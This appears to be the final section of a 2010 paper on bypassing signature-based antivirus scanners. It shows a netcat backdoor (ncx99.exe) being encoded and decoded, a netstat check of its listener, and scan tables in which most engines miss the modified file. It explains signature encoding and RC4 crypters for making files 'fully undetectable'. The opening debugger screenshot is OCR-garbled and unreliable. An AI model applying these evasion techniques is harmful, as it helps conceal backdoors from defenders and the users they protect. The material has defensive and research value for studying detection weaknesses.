NULL D 0 CastErr 000000CB ERROR_ENVUAF EFL 00000212 (NO,NB,NE,A,NS,PO,GE, ST0 empty -UNORM B698 006E0065 00 ST1 empty 7.7444158501969533780e ST2 empty 9.0211341218951583010e ST3 empty +UNORM 7154 0000008 004 ST3		
Address Hex dump ASCII			
00401000 00 80 4C 24 0C 33 56 57 E8 C5 01 00 00 68 30 68 21 41 00.5300 T0. 00401020 68 00 14 40 00 8D 54 24 20 53 C7 44 24 20 00 h.¶0.1Ts 3 00401020 68 00 14 40 00 8D 54 24 20 53 C7 44 24 24 0C 00 h.¶0.1Ts 3 00401030 00 00 89 5C 24 28 89 5C 24 2C 52 89 46 0C FF D7 	.1-17H 0012FFF4 00000000 0012FFF8 0040A770 p20. #D5\$ 0012FFFC 00000000 \$SSi.h. 0012FFFC 000000000 *.a 0012FFFC 000000000 *.a 0012FFFC 000000000 *.a 0012FFFC 000000000 SSi.h. \$SSi.h. \$SSi.h. *.a \$SSi.h. \$SSi.h. *.a \$SSi.h. \$SSi.h. *.a \$SSi.h. \$SSi.h. SS. \$SSi.h. \$SSi.h. \$SS. \$SSi.h. \$SSi.h. \$SSi.h. \$SSi.h. \$SSi.h. \$SSi.h \$SSi.h. <t< th=""></t<>		
	Paused		

Figure 4.2.2 – The Beginning of the Decoded PE File

This does not really matter, as we can hit CTRL+A and do a quick analysis of the code. When we've done that we may see that our executable PE file is back to its original state again and if we press "F9" we may see that our program is executing without any errors.

If that is the case then we've encoded the binary file and even decoded it successfully.

Even scanning the file now with a lot of different AV-scanners will reveal different results, if the file is just scanned and not executed since we haven't implemented any bypassing techniques for heuristic (malicious) opcode detection.

	a Select C:\WINDOWS\system32\cmd.exe			_ 0	×
C:>>netstat -nao !find "LISTEN" TCP 0.0.0.0:99 0.0.0.0:0 LISTENING 2324 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 1168 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 87.249.177.154:139 0.0.0.0:0 LISTENING 4 TCP 127.0.0.1:1028 0.0.0.0:0 LISTENING 2848 C:>>_	<pre>:\>netstat -nao !find "LISTEN" TCP</pre>	0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0	LISTENING LISTENING LISTENING LISTENING LISTENING	2324 1168 4 2848	

Figure 4.2.3 – Netstat Overview of ncx99.exe running

If we scan the file with AVG it may be undetectable now, or as script kiddies tends to say: FUD.

This expression means "Fully Undetectable" and is widely used with tools such as cryptors. Most of these use another way of making the PE files able to bypass the AV-scanners, which is e.g. by encrypting the entire file with RC4 and then pack a stub decoder into the file.

This will of course alter the size of the file in many cases. In the picture below you'll see that many of the AV's either didn't know what was scanned or they didn't flag it as malicious at all.

Scanners			
🛛 ArcaVir	2010-06-18 Found nothing	g data	2010-06-18 Trojan.Peed.Gen
ດເ⁄ດຣາ້!ໍ	2010-06-18 Found nothing	¢IKARUS	2010-06-18 not-a-virus:RemoteAdmin.Win32.NetCat
着 AVG	2010-06-18 Found nothing	KASPERSKYB	2010-06-18 Type_Win32
🕫 AntiVir*	2010-06-18 Found nothing	NOD 32	2010-06-18 Found nothing
le bitdefender	2010-06-18 Trojan.Peed.Gen	PANDA	2010-06-18 Found nothing
🌒 Clam AV	2010-06-18 Found nothing	Quick Heal [*]	2010-06-18 Found nothing
CP SECURE®	2010-06-18 Found nothing	SOPHOS	2010-06-18 Sus/UnkPacker
🔅 Dr.WEB*	2010-06-18 Tool.Netcat	VBA32	2010-06-18 Found nothing
⑧ F·PROT	2010-06-18 Found nothing	⊻irus Buster	2010-06-18 Found nothing
F-Secure.	2010-06-18 Type_Win32		

Figure 4.2.4 – AV-Scan of highly modified ncx99.exe

Conclusion

The purpose of this paper was to demonstrate how easy it is to bypass signature-based Anti-Virus scanners which do not use heuristics at all or perhaps only in an insufficient way which makes a hacker able to outsmart the AV-system in use.

Antivirus	Database	Engine	Result
a-squared	18/06/2010	5.0.0.7	Backdoor.Win32.NcxIIK
Avast	100617-0	5.0	Win32:Nex [Trj]
AVG	271.1.1/2946	9.0.0.725	BackDoor.Generic12.BNOS
Avira AntiVir	7.10.8.127	7.6.0.59	
BitDefender	18/06/2010	7.0.0.2555	Backdoor.NCX_99
ClamAV	18/06/2010	0.96.1	
Comodo	3468	3.13.579	Backdoor.IRC.SdBot.NP
Dr.Web	18/06/2010	5.0	BackDoor.Angel
F-PROT6	20100618	4.5.1.85	W32/Malware!8370
G-Data	21.371	2.0.7309.847	Backdoor.Win32.Ncx.b A
Ikarus T3	18/06/2010	1.1.84.0	Backdoor.Win32.Ncx
Kaspersky	18/06/2010	9.0.0.736	Backdoor.Win32.Ncx.b
NOD32	5208	4.0.474	Win32/NCX.99
Panda	18/06/2010	10.0.3.0	Bck∕Vonetent
TrendMicro	251	9.120-1004	TROJ_NCX99.A
VBA32	18/06/2010	3.12.12.2	Backdoor.Win32.Ncx.b

Figure 5.1 – ncx99.exe before any modifications

As you can see almost all of the AV-scanners detects the original ncx99.exe by default.

If we alter this file heavily then the results are quite amazing. The amount of code added and changed can be as little as below 30 bytes which is the equivalent of 30 characters you can type on your keyboard. Even the size of the file may have been unaltered too, though the contents of the file may have been encoded with a custom encoder.

Antivirus	Database	Engine	Result
a-squared	18/06/2010	5.0.0.7	Riskware. Remote Admin. Win 32. Net Cat! IK
Avast	100617-0	5.0	
AVG	271.1.1/2946	9.0.0.725	
Avira AntiVir	7.10.8.127	7.6.0.59	
BitDefender	18/06/2010	7.0.0.2555	Trojan.Peed.Gen
ClamAV	18/06/2010	0.96.1	
Comodo	3468	3.13.579	
Dr.Web	18/06/2010	5.0	
F-PROT6	20100618	4.5.1.85	
G-Data	21.371	2.0.7309.847	0086e790991d0c1f376a0a366c1eb7b Possibly infected
lkarus T3	18/06/2010	1.1.84.0	
Kaspersky	18/06/2010	9.0.0.736	Type_Win32
NOD32	5208	4.0.474	
Panda	18/06/2010	10.0.3.0	
TrendMicro	251	9.120-1004	PAK_Generic.001
VBA32	18/06/2010	3.12.12.2	

Figure 5.2 – ncx99.exe after heavy modifications

As you can see for yourself in the picture above, a lot of the AV-scanners were bypassed. Kaspersky detected this file as potentially malicious with its heuristics system, hence the reason Type_Win32 is stated which means it is probably a new variant of a virus, trojan, etc.

In any case it is always a good idea to encode the primary signature of the file, though usually there is more than one signature so it isn't piece of cake for any hacker to bypass AV-detection.

References

[1] http://www.intern0t.net

[2] http://www.ollydbg.de/

[3] http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm

[4] http://debugger.immunityinc.com/

[5] https://forum.immunityinc.com/board/show/0/

[6] http://free.avg.com/ww-en/homepage

[7] http://www.uninformed.org/?v=5&a=3&t=pdf

[8] http://www.offensive-security.com

